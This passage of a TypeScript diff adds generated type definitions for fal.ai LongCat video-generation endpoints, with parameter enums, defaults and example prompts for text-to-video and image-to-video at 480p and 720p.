'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLongcatVideoDistilledTextToVideo720PVideoQualityEnumKey = + (typeof inputFalAiLongcatVideoDistilledTextToVideo720PVideoQualityEnum)[keyof typeof inputFalAiLongcatVideoDistilledTextToVideo720PVideoQualityEnum] + +export const inputFalAiLongcatVideoDistilledTextToVideo720PVideoWriteModeEnum = + { + fast: 'fast', + balanced: 'balanced', + small: 'small', + } as const + +export type InputFalAiLongcatVideoDistilledTextToVideo720PVideoWriteModeEnumKey = + (typeof inputFalAiLongcatVideoDistilledTextToVideo720PVideoWriteModeEnum)[keyof typeof inputFalAiLongcatVideoDistilledTextToVideo720PVideoWriteModeEnum] + +export const inputFalAiLongcatVideoDistilledTextToVideo720PVideoOutputTypeEnum = + { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', + } as const + +export type InputFalAiLongcatVideoDistilledTextToVideo720PVideoOutputTypeEnumKey = + (typeof inputFalAiLongcatVideoDistilledTextToVideo720PVideoOutputTypeEnum)[keyof typeof inputFalAiLongcatVideoDistilledTextToVideo720PVideoOutputTypeEnum] + +export const inputFalAiLongcatVideoDistilledTextToVideo720PAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiLongcatVideoDistilledTextToVideo720PAspectRatioEnumKey = + (typeof inputFalAiLongcatVideoDistilledTextToVideo720PAspectRatioEnum)[keyof typeof inputFalAiLongcatVideoDistilledTextToVideo720PAspectRatioEnum] + +export type InputFalAiLongcatVideoDistilledTextToVideo720P = { + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLongcatVideoDistilledTextToVideo720PVideoQualityEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLongcatVideoDistilledTextToVideo720PVideoWriteModeEnumKey + /** + * @description The prompt to guide the video generation. + * @example realistic filming style, a person wearing a dark helmet, a deep-colored jacket, blue jeans, and bright yellow shoes rides a skateboard along a winding mountain road. The skateboarder starts in a standing position, then gradually lowers into a crouch, extending one hand to touch the road surface while maintaining a low center of gravity to navigate a sharp curve. After completing the turn, the skateboarder rises back to a standing position and continues gliding forward. The background features lush green hills flanking both sides of the road, with distant snow-capped mountain peaks rising against a clear, bright blue sky. The camera follows closely from behind, smoothly tracking the skateboarder’s movements and capturing the dynamic scenery along the route. The scene is shot in natural daylight, highlighting the vivid outdoor environment and the skateboarder’s fluid actions. + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Whether to enable safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of inference steps to use for refinement. + * @minimum 2 + * @maximum 16 + * @default 12 + * @type integer | undefined + */ + num_refine_inference_steps?: number + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The number of inference steps to use. + * @minimum 2 + * @maximum 16 + * @default 12 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLongcatVideoDistilledTextToVideo720PVideoOutputTypeEnumKey + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiLongcatVideoDistilledTextToVideo720PAspectRatioEnumKey + /** + * @description Whether to enable prompt expansion. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The frame rate of the generated video. + * @minimum 1 + * @maximum 60 + * @default 30 + * @type integer | undefined + */ + fps?: number + /** + * @description The number of frames to generate. + * @minimum 17 + * @maximum 961 + * @default 162 + * @type integer | undefined + */ + num_frames?: number +} + +export type FileA214Ef3F = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiLongcatVideoDistilledTextToVideo720P = { + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/zebra/lXFrGA-egaUXWFGSp8GqT_BxoDEqUZ.mp4","content_type":"video/mp4"} + * @type object + */ + video: FileA214Ef3F + /** + * @description The seed used for generation. + * @example 424911732 + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example realistic filming style, a person wearing a dark helmet, a deep-colored jacket, blue jeans, and bright yellow shoes rides a skateboard along a winding mountain road. The skateboarder starts in a standing position, then gradually lowers into a crouch, extending one hand to touch the road surface while maintaining a low center of gravity to navigate a sharp curve. After completing the turn, the skateboarder rises back to a standing position and continues gliding forward. The background features lush green hills flanking both sides of the road, with distant snow-capped mountain peaks rising against a clear, bright blue sky. The camera follows closely from behind, smoothly tracking the skateboarder’s movements and capturing the dynamic scenery along the route. The scene is shot in natural daylight, highlighting the vivid outdoor environment and the skateboarder’s fluid actions. + * @type string + */ + prompt: string +} + +export const inputFalAiLongcatVideoImageToVideo480PVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLongcatVideoImageToVideo480PVideoQualityEnumKey = + (typeof inputFalAiLongcatVideoImageToVideo480PVideoQualityEnum)[keyof typeof inputFalAiLongcatVideoImageToVideo480PVideoQualityEnum] + +export const inputFalAiLongcatVideoImageToVideo480PVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLongcatVideoImageToVideo480PVideoWriteModeEnumKey = + (typeof inputFalAiLongcatVideoImageToVideo480PVideoWriteModeEnum)[keyof typeof inputFalAiLongcatVideoImageToVideo480PVideoWriteModeEnum] + +export const inputFalAiLongcatVideoImageToVideo480PAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiLongcatVideoImageToVideo480PAccelerationEnumKey = + (typeof inputFalAiLongcatVideoImageToVideo480PAccelerationEnum)[keyof typeof inputFalAiLongcatVideoImageToVideo480PAccelerationEnum] + +export const inputFalAiLongcatVideoImageToVideo480PVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLongcatVideoImageToVideo480PVideoOutputTypeEnumKey = + (typeof inputFalAiLongcatVideoImageToVideo480PVideoOutputTypeEnum)[keyof typeof inputFalAiLongcatVideoImageToVideo480PVideoOutputTypeEnum] + +export type InputFalAiLongcatVideoImageToVideo480P = { + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLongcatVideoImageToVideo480PVideoQualityEnumKey + /** + * @description Whether to enable safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The negative prompt to use for the video generation. + * @default 'Bright tones, overexposed, static, blurred details, subtitles, style, works, paintings, images, static, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, misshapen limbs, fused fingers, still picture, messy background, three legs, many people in the background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable prompt expansion. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of inference steps to use for the video generation. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The number of frames to generate. + * @minimum 17 + * @maximum 961 + * @default 162 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLongcatVideoImageToVideo480PVideoWriteModeEnumKey + /** + * @description The guidance scale to use for the video generation. + * @minimum 1 + * @maximum 10 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The prompt to guide the video generation. + * @default 'First-person view from the cockpit of a Formula 1 car. The driver\'s gloved hands firmly grip the intricate, carbon-fiber steering wheel adorned with numerous colorful buttons and a vibrant digital display showing race data. Beyond the windshield, a sun-drenched racetrack stretches ahead, lined with cheering spectators in the grandstands. Several rival cars are visible in the distance, creating a dynamic sense of competition. The sky above is a clear, brilliant blue, reflecting the exhilarating atmosphere of a high-speed race. high resolution 4k' + * @example First-person view from the cockpit of a Formula 1 car. The driver's gloved hands firmly grip the intricate, carbon-fiber steering wheel adorned with numerous colorful buttons and a vibrant digital display showing race data. Beyond the windshield, a sun-drenched racetrack stretches ahead, lined with cheering spectators in the grandstands. Several rival cars are visible in the distance, creating a dynamic sense of competition. The sky above is a clear, brilliant blue, reflecting the exhilarating atmosphere of a high-speed race. high resolution 4k + * @type string | undefined + */ + prompt?: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to generate a video from. + * @example https://v3b.fal.media/files/b/zebra/trXRsbjJwy4Z3OEgbnB9a.jpg + * @type string + */ + image_url: string + /** + * @description The acceleration level to use for the video generation. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLongcatVideoImageToVideo480PAccelerationEnumKey + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLongcatVideoImageToVideo480PVideoOutputTypeEnumKey + /** + * @description The frame rate of the generated video. + * @minimum 1 + * @maximum 60 + * @default 15 + * @type integer | undefined + */ + fps?: number + /** + * @description The seed for the random number generator. + */ + seed?: number | null +} + +export type FileFee040A3 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiLongcatVideoImageToVideo480P = { + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/panda/4-MoAje_CCMAGH8d-9kmA_nQEkcRc2.mp4","content_type":"video/mp4"} + * @type object + */ + video: FileFee040A3 + /** + * @description The seed used for generation. + * @example 916581 + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example First-person view from the cockpit of a Formula 1 car. The driver's gloved hands firmly grip the intricate, carbon-fiber steering wheel adorned with numerous colorful buttons and a vibrant digital display showing race data. Beyond the windshield, a sun-drenched racetrack stretches ahead, lined with cheering spectators in the grandstands. Several rival cars are visible in the distance, creating a dynamic sense of competition. The sky above is a clear, brilliant blue, reflecting the exhilarating atmosphere of a high-speed race. high resolution 4k + * @type string + */ + prompt: string +} + +export const inputFalAiLongcatVideoImageToVideo720PVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLongcatVideoImageToVideo720PVideoQualityEnumKey = + (typeof inputFalAiLongcatVideoImageToVideo720PVideoQualityEnum)[keyof typeof inputFalAiLongcatVideoImageToVideo720PVideoQualityEnum] + +export const inputFalAiLongcatVideoImageToVideo720PVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLongcatVideoImageToVideo720PVideoWriteModeEnumKey = + (typeof inputFalAiLongcatVideoImageToVideo720PVideoWriteModeEnum)[keyof typeof inputFalAiLongcatVideoImageToVideo720PVideoWriteModeEnum] + +export const inputFalAiLongcatVideoImageToVideo720PAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiLongcatVideoImageToVideo720PAccelerationEnumKey = + (typeof inputFalAiLongcatVideoImageToVideo720PAccelerationEnum)[keyof typeof inputFalAiLongcatVideoImageToVideo720PAccelerationEnum] + +export const inputFalAiLongcatVideoImageToVideo720PVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLongcatVideoImageToVideo720PVideoOutputTypeEnumKey = + (typeof inputFalAiLongcatVideoImageToVideo720PVideoOutputTypeEnum)[keyof typeof inputFalAiLongcatVideoImageToVideo720PVideoOutputTypeEnum] + +export type InputFalAiLongcatVideoImageToVideo720P = { + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLongcatVideoImageToVideo720PVideoQualityEnumKey + /** + * @description Whether to enable safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The negative prompt to use for the video generation. + * @default 'Bright tones, overexposed, static, blurred details, subtitles, style, works, paintings, images, static, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, misshapen limbs, fused fingers, still picture, messy background, three legs, many people in the background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable prompt expansion. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of inference steps to use for the video generation. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The number of frames to generate. + * @minimum 17 + * @maximum 961 + * @default 162 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLongcatVideoImageToVideo720PVideoWriteModeEnumKey + /** + * @description The guidance scale to use for the video generation. + * @minimum 1 + * @maximum 10 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The prompt to guide the video generation. + * @default 'First-person view from the cockpit of a Formula 1 car. The driver\'s gloved hands firmly grip the intricate, carbon-fiber steering wheel adorned with numerous colorful buttons and a vibrant digital display showing race data. Beyond the windshield, a sun-drenched racetrack stretches ahead, lined with cheering spectators in the grandstands. Several rival cars are visible in the distance, creating a dynamic sense of competition. The sky above is a clear, brilliant blue, reflecting the exhilarating atmosphere of a high-speed race. high resolution 4k' + * @example First-person view from the cockpit of a Formula 1 car. The driver's gloved hands firmly grip the intricate, carbon-fiber steering wheel adorned with numerous colorful buttons and a vibrant digital display showing race data. Beyond the windshield, a sun-drenched racetrack stretches ahead, lined with cheering spectators in the grandstands. Several rival cars are visible in the distance, creating a dynamic sense of competition. The sky above is a clear, brilliant blue, reflecting the exhilarating atmosphere of a high-speed race. high resolution 4k + * @type string | undefined + */ + prompt?: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to generate a video from. + * @example https://v3b.fal.media/files/b/zebra/trXRsbjJwy4Z3OEgbnB9a.jpg + * @type string + */ + image_url: string + /** + * @description The acceleration level to use for the video generation. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLongcatVideoImageToVideo720PAccelerationEnumKey + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLongcatVideoImageToVideo720PVideoOutputTypeEnumKey + /** + * @description The frame rate of the generated video. + * @minimum 1 + * @maximum 60 + * @default 30 + * @type integer | undefined + */ + fps?: number + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The number of inference steps to use for refinement. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_refine_inference_steps?: number +} + +export type File724F2836 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiLongcatVideoImageToVideo720P = { + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/panda/4-MoAje_CCMAGH8d-9kmA_nQEkcRc2.mp4","content_type":"video/mp4"} + * @type object + */ + video: File724F2836 + /** + * @description The seed used for generation. + * @example 916581 + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example First-person view from the cockpit of a Formula 1 car. The driver's gloved hands firmly grip the intricate, carbon-fiber steering wheel adorned with numerous colorful buttons and a vibrant digital display showing race data. Beyond the windshield, a sun-drenched racetrack stretches ahead, lined with cheering spectators in the grandstands. Several rival cars are visible in the distance, creating a dynamic sense of competition. The sky above is a clear, brilliant blue, reflecting the exhilarating atmosphere of a high-speed race. high resolution 4k + * @type string + */ + prompt: string +} + +export const inputFalAiLongcatVideoTextToVideo480PVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLongcatVideoTextToVideo480PVideoQualityEnumKey = + (typeof inputFalAiLongcatVideoTextToVideo480PVideoQualityEnum)[keyof typeof inputFalAiLongcatVideoTextToVideo480PVideoQualityEnum] + +export const inputFalAiLongcatVideoTextToVideo480PVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLongcatVideoTextToVideo480PVideoWriteModeEnumKey = + (typeof inputFalAiLongcatVideoTextToVideo480PVideoWriteModeEnum)[keyof typeof inputFalAiLongcatVideoTextToVideo480PVideoWriteModeEnum] + +export const inputFalAiLongcatVideoTextToVideo480PAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiLongcatVideoTextToVideo480PAccelerationEnumKey = + (typeof inputFalAiLongcatVideoTextToVideo480PAccelerationEnum)[keyof typeof inputFalAiLongcatVideoTextToVideo480PAccelerationEnum] + +export const inputFalAiLongcatVideoTextToVideo480PVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLongcatVideoTextToVideo480PVideoOutputTypeEnumKey = + (typeof inputFalAiLongcatVideoTextToVideo480PVideoOutputTypeEnum)[keyof typeof inputFalAiLongcatVideoTextToVideo480PVideoOutputTypeEnum] + +export const inputFalAiLongcatVideoTextToVideo480PAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiLongcatVideoTextToVideo480PAspectRatioEnumKey = + (typeof inputFalAiLongcatVideoTextToVideo480PAspectRatioEnum)[keyof typeof inputFalAiLongcatVideoTextToVideo480PAspectRatioEnum] + +export type InputFalAiLongcatVideoTextToVideo480P = { + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLongcatVideoTextToVideo480PVideoQualityEnumKey + /** + * @description Whether to enable safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The negative prompt to use for the video generation. + * @default 'Bright tones, overexposed, static, blurred details, subtitles, style, works, paintings, images, static, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, misshapen limbs, fused fingers, still picture, messy background, three legs, many people in the background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable prompt expansion. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of inference steps to use for the video generation. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The number of frames to generate. + * @minimum 17 + * @maximum 961 + * @default 162 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLongcatVideoTextToVideo480PVideoWriteModeEnumKey + /** + * @description The guidance scale to use for the video generation. + * @minimum 1 + * @maximum 10 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The prompt to guide the video generation. + * @example realistic filming style, a person wearing a dark helmet, a deep-colored jacket, blue jeans, and bright yellow shoes rides a skateboard along a winding mountain road. The skateboarder starts in a standing position, then gradually lowers into a crouch, extending one hand to touch the road surface while maintaining a low center of gravity to navigate a sharp curve. After completing the turn, the skateboarder rises back to a standing position and continues gliding forward. The background features lush green hills flanking both sides of the road, with distant snow-capped mountain peaks rising against a clear, bright blue sky. The camera follows closely from behind, smoothly tracking the skateboarder’s movements and capturing the dynamic scenery along the route. The scene is shot in natural daylight, highlighting the vivid outdoor environment and the skateboarder’s fluid actions. + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The acceleration level to use for the video generation. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLongcatVideoTextToVideo480PAccelerationEnumKey + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLongcatVideoTextToVideo480PVideoOutputTypeEnumKey + /** + * @description The frame rate of the generated video. + * @minimum 1 + * @maximum 60 + * @default 15 + * @type integer | undefined + */ + fps?: number + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiLongcatVideoTextToVideo480PAspectRatioEnumKey +} + +export type File469319C1 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiLongcatVideoTextToVideo480P = { + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/zebra/lXFrGA-egaUXWFGSp8GqT_BxoDEqUZ.mp4","content_type":"video/mp4"} + * @type object + */ + video: File469319C1 + /** + * @description The seed used for generation. + * @example 424911732 + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example realistic filming style, a person wearing a dark helmet, a deep-colored jacket, blue jeans, and bright yellow shoes rides a skateboard along a winding mountain road. The skateboarder starts in a standing position, then gradually lowers into a crouch, extending one hand to touch the road surface while maintaining a low center of gravity to navigate a sharp curve. After completing the turn, the skateboarder rises back to a standing position and continues gliding forward. The background features lush green hills flanking both sides of the road, with distant snow-capped mountain peaks rising against a clear, bright blue sky. The camera follows closely from behind, smoothly tracking the skateboarder’s movements and capturing the dynamic scenery along the route. The scene is shot in natural daylight, highlighting the vivid outdoor environment and the skateboarder’s fluid actions. + * @type string + */ + prompt: string +} + +export const inputFalAiLongcatVideoTextToVideo720PVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLongcatVideoTextToVideo720PVideoQualityEnumKey = + (typeof inputFalAiLongcatVideoTextToVideo720PVideoQualityEnum)[keyof typeof inputFalAiLongcatVideoTextToVideo720PVideoQualityEnum] + +export const inputFalAiLongcatVideoTextToVideo720PVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLongcatVideoTextToVideo720PVideoWriteModeEnumKey = + (typeof inputFalAiLongcatVideoTextToVideo720PVideoWriteModeEnum)[keyof typeof inputFalAiLongcatVideoTextToVideo720PVideoWriteModeEnum] + +export const inputFalAiLongcatVideoTextToVideo720PAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiLongcatVideoTextToVideo720PAccelerationEnumKey = + (typeof inputFalAiLongcatVideoTextToVideo720PAccelerationEnum)[keyof typeof inputFalAiLongcatVideoTextToVideo720PAccelerationEnum] + +export const inputFalAiLongcatVideoTextToVideo720PVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLongcatVideoTextToVideo720PVideoOutputTypeEnumKey = + (typeof inputFalAiLongcatVideoTextToVideo720PVideoOutputTypeEnum)[keyof typeof inputFalAiLongcatVideoTextToVideo720PVideoOutputTypeEnum] + +export const inputFalAiLongcatVideoTextToVideo720PAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiLongcatVideoTextToVideo720PAspectRatioEnumKey = + (typeof inputFalAiLongcatVideoTextToVideo720PAspectRatioEnum)[keyof typeof inputFalAiLongcatVideoTextToVideo720PAspectRatioEnum] + +export type InputFalAiLongcatVideoTextToVideo720P = { + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLongcatVideoTextToVideo720PVideoQualityEnumKey + /** + * @description Whether to enable safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The negative prompt to use for the video generation. + * @default 'Bright tones, overexposed, static, blurred details, subtitles, style, works, paintings, images, static, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, misshapen limbs, fused fingers, still picture, messy background, three legs, many people in the background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Whether to enable prompt expansion. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of inference steps to use for the video generation. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The number of frames to generate. + * @minimum 17 + * @maximum 961 + * @default 162 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLongcatVideoTextToVideo720PVideoWriteModeEnumKey + /** + * @description The guidance scale to use for the video generation. + * @minimum 1 + * @maximum 10 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The prompt to guide the video generation. + * @example realistic filming style, a person wearing a dark helmet, a deep-colored jacket, blue jeans, and bright yellow shoes rides a skateboard along a winding mountain road. The skateboarder starts in a standing position, then gradually lowers into a crouch, extending one hand to touch the road surface while maintaining a low center of gravity to navigate a sharp curve. After completing the turn, the skateboarder rises back to a standing position and continues gliding forward. The background features lush green hills flanking both sides of the road, with distant snow-capped mountain peaks rising against a clear, bright blue sky. The camera follows closely from behind, smoothly tracking the skateboarder’s movements and capturing the dynamic scenery along the route. The scene is shot in natural daylight, highlighting the vivid outdoor environment and the skateboarder’s fluid actions. + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The acceleration level to use for the video generation. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLongcatVideoTextToVideo720PAccelerationEnumKey + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLongcatVideoTextToVideo720PVideoOutputTypeEnumKey + /** + * @description The frame rate of the generated video. + * @minimum 1 + * @maximum 60 + * @default 30 + * @type integer | undefined + */ + fps?: number + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The number of inference steps to use for refinement. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_refine_inference_steps?: number + /** + * @description The aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiLongcatVideoTextToVideo720PAspectRatioEnumKey +} + +export type File6F8947Ac = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiLongcatVideoTextToVideo720P = { + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/zebra/lXFrGA-egaUXWFGSp8GqT_BxoDEqUZ.mp4","content_type":"video/mp4"} + * @type object + */ + video: File6F8947Ac + /** + * @description The seed used for generation. + * @example 424911732 + * @type integer + */ + seed: number + /** + * @description The prompt used for generation. + * @example realistic filming style, a person wearing a dark helmet, a deep-colored jacket, blue jeans, and bright yellow shoes rides a skateboard along a winding mountain road. The skateboarder starts in a standing position, then gradually lowers into a crouch, extending one hand to touch the road surface while maintaining a low center of gravity to navigate a sharp curve. After completing the turn, the skateboarder rises back to a standing position and continues gliding forward. The background features lush green hills flanking both sides of the road, with distant snow-capped mountain peaks rising against a clear, bright blue sky. The camera follows closely from behind, smoothly tracking the skateboarder’s movements and capturing the dynamic scenery along the route. The scene is shot in natural daylight, highlighting the vivid outdoor environment and the skateboarder’s fluid actions. + * @type string + */ + prompt: string +} + +export type ImageSize614F8A40 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const 